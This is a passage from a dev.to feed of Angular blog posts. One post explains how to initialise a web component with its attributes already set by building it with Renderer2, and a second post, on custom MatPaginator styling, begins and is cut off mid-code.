&lt;p&gt;When you use a web component directly in an Angular template, everything usually looks fine at first. On the first navigation to the page, Angular creates the wrapper component and renders the custom HTML element. In most cases, the required values like &lt;code&gt;country&lt;/code&gt; or &lt;code&gt;entity&lt;/code&gt; are already available, or they resolve quickly enough. Angular creates the DOM element, then shortly after sets the attributes via &lt;code&gt;[attr.*]&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The problem appears when you navigate away and then come back. Angular destroys the wrapper component when you leave the route and creates a new instance when you return. The important detail is that the browser initializes a custom element immediately when it is attached to the DOM. This means the web component’s constructor run before Angular has had a chance to set any attributes. At that moment, attributes like &lt;code&gt;entity&lt;/code&gt; or &lt;code&gt;country&lt;/code&gt; are still missing or &lt;code&gt;undefined&lt;/code&gt;, even though Angular has the correct values ready. Once that happens, Angular cannot recover by setting the attributes later, because the component has already failed during its own initialization.&lt;/p&gt;

&lt;p&gt;This is why the first render works and the second one does not. It happens because Angular and custom elements follow different lifecycle rules (not because of caching). Angular assumes it can create an element first and configure it afterward, while a web component assumes it is fully configured at the moment it is connected to the DOM.&lt;/p&gt;

&lt;h2&gt;
  
  
  Incorrect Solutions
&lt;/h2&gt;

&lt;p&gt;Before giving the actual working example, I want to give some examples what we have tried but did not work. One of the solutions we thought will work (but did not) was using a condition when to render the widget, so something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-payment-wrapper&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`
   @if(country() &amp;amp;&amp;amp; entity())
     &amp;lt;payment-widget
        [attr.country]="country()"
        [attr.entity]="entity()" /&amp;gt;
    }
  `&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;schemas&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;CUSTOM_ELEMENTS_SCHEMA&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;PaymentWidgetComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;country&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;required&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;entity&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;required&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using a condition only controls when Angular adds the element to the DOM. As soon as the element is inserted, the browser immediately initializes the Web Component. Angular still applies &lt;code&gt;[attr.*]&lt;/code&gt; bindings after the element is connected, so the Web Component can still initialize with missing or undefined values, especially when navigating back to the page.&lt;/p&gt;

&lt;p&gt;Another failed attempts were using &lt;code&gt;setTimeout()&lt;/code&gt;, &lt;code&gt;afterRendererEffect&lt;/code&gt; or at one point we just hardcoded the country and entity many many (too many times) and had a &lt;code&gt;switch&lt;/code&gt; statement in HTML to which &lt;code&gt;payment-widget&lt;/code&gt; display. This solved the problem, but it wasn’t very scalable and finally we bumped to the correct solution.&lt;/p&gt;

&lt;h2&gt;
  
  
  Correct Solution
&lt;/h2&gt;

&lt;p&gt;The only reliable way to solve this problem is to stop letting Angular create the Web Component through the template. Instead, you create the element yourself, set all required attributes first, and only then attach it to the DOM. So an example is the following using &lt;code&gt;Renderer&lt;/code&gt; :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-payment-wrapper&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`&amp;lt;div #elRef&amp;gt;&amp;lt;/div&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;PaymentWidgetComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;renderer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Renderer2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;destroyRef&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;DestroyRef&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;elRef&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;viewChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;elRef&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;read&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;ElementRef&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;HTMLElement&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;country&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;required&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;entity&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;input&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;required&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="c1"&gt;// reference for the HTML element for cleanup&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;paymentWidget&lt;/span&gt;&lt;span class="p"&gt;?:&lt;/span&gt; &lt;span class="nx"&gt;HTMLElement&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
   &lt;span class="nf"&gt;afterRendererEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;paymentWidget&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;renderer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;payment-widget&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;elementRef&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;elRef&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;paymentWidget&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;paymentWidget&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

      &lt;span class="c1"&gt;// set input attributes&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;renderer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;country&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;country&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;renderer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;entity&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;entity&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;

      &lt;span class="c1"&gt;// attach to the DOM&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;renderer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;elementRef&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;paymentWidget&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

     &lt;span class="c1"&gt;// cleanup - release memory&lt;/span&gt;
     &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;destroyRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;onDestroy&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;paymentWidget&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
         &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;renderer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;removeChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;paymentWidget&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
         &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;paymentWidget&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
       &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This works because the Web Component is not connected to the DOM yet when its attributes are set. The browser does not run the custom element’s constructor or &lt;code&gt;connectedCallback()&lt;/code&gt; until the element is actually appended. By the time that happens, all required attributes already exist and have valid values. From the Web Component’s point of view, it is being initialized in a fully configured state.&lt;/p&gt;

&lt;p&gt;Another important detail is that Angular is no longer involved in the element’s lifecycle. Angular does not create the element, does not attach it automatically, and does not try to update its attributes later. You are treating the Web Component as an external system and interacting with it explicitly. This removes the timing mismatch between Angular’s rendering and the browser’s custom element initialization.&lt;/p&gt;

&lt;p&gt;When you leave the route, the element is removed with the rest of the DOM. When you come back, a new element is created, configured, and attached. There is no first vs second render difference, and no chance for the Web Component to see &lt;code&gt;undefined&lt;/code&gt; inputs during its initialization. Hope you liked this shorter article, catch more of my stuff on&amp;nbsp;&lt;a href="https://dev.to/krivanek06"&gt;dev.to&lt;/a&gt;, connect with me on&amp;nbsp;&lt;a href="https://www.linkedin.com/in/eduard-krivanek" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;&amp;nbsp;or check my&amp;nbsp;&lt;a href="https://eduardkrivanek.com/" rel="noopener noreferrer"&gt;Personal Website&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>angular</category>
      <category>webdev</category>
      <category>programming</category>
    </item>
    <item>
      <title>Angular - Custom MatPaginator Styling</title>
      <dc:creator>Eduard Krivanek</dc:creator>
      <pubDate>Mon, 24 Nov 2025 17:04:37 +0000</pubDate>
      <link>https://dev.to/playfulprogramming-angular/angular-custom-matpaginator-styling-en6</link>
      <guid>https://dev.to/playfulprogramming-angular/angular-custom-matpaginator-styling-en6</guid>
      <description>&lt;p&gt;One of my more popular articles that I’ve published is &lt;a href="https://dev.to/krivanek06/angular-matpaginator-custom-styling-dkb?utm_source=chatgpt.com"&gt;Angular: MatPaginator Custom Styling&lt;/a&gt;, which shows how to transform Angular Material’s paginator (on a mat-table) using a custom directive to make it look more appealing.&lt;/p&gt;

&lt;p&gt;I decided to update this article because since then, two major things have changed. It was originally written for Angular v14, and since then we’ve received the major &lt;a href="https://v17.material.angular.dev/guide/mdc-migration" rel="noopener noreferrer"&gt;Angular Material MDC components&lt;/a&gt;, which caused quite a few issues for people updating their projects, along with some smaller Angular improvements. Also, in my previous article, I was accessing some private methods of the &lt;code&gt;MatPaginator&lt;/code&gt; component. In the GIF below, you can see the final example we’ll be building. You can also find the full source code in this &lt;a href="https://github.com/krivanek06/stackblitz-angular-custom-mat-paginator" rel="noopener noreferrer"&gt;GitHub repository&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5tqtw0ow1dbmylrih4ck.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5tqtw0ow1dbmylrih4ck.gif" alt="Angular Custom Paginator End Result"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I will start this blog post by showing the full code section, you can always come back to it, and then we’ll go through some of the more interesting or not that obvious parts. You might already have a table component displaying data, something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;afterNextRender&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;viewChild&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@angular/core&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;MatPaginator&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;MatPaginatorModule&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@angular/material/paginator&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;MatTableDataSource&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;MatTableModule&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@angular/material/table&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;Data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;position&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;weight&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;symbol&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-test-table&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;imports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;MatTableModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;MatPaginatorModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;BubblePaginationDirective&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`
    &amp;lt;table mat-table [dataSource]="dataSource"&amp;gt;
      &amp;lt;!-- Position Column --&amp;gt;
      &amp;lt;ng-container matColumnDef="position"&amp;gt;
        &amp;lt;th mat-header-cell *matHeaderCellDef&amp;gt;No.&amp;lt;/th&amp;gt;
        &amp;lt;td mat-cell *matCellDef="let element"&amp;gt;{{ element.position }}&amp;lt;/td&amp;gt;
      &amp;lt;/ng-container&amp;gt;

      &amp;lt;!-- ... more columns ... --&amp;gt;

      &amp;lt;tr mat-header-row *matHeaderRowDef="displayedColumns"&amp;gt;&amp;lt;/tr&amp;gt;
      &amp;lt;tr mat-row *matRowDef="let row; columns: displayedColumns"&amp;gt;&amp;lt;/tr&amp;gt;
    &amp;lt;/table&amp;gt;

    &amp;lt;mat-paginator [length]="dataSource.data.length" [pageSize]="10" /&amp;gt;
  `&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TestTableComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;dataSource&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;MatTableDataSource&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Data&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;([]);&lt;/span&gt;
  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;paginator&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;viewChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;MatPaginator&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;displayedColumns&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;position&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;weight&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;symbol&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
    &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;k&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;k&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;position&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`Element &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;weight&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;v&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;1.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;symbol&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`E&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;v&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dataSource&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="nf"&gt;afterNextRender&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;paginator&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;paginator&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

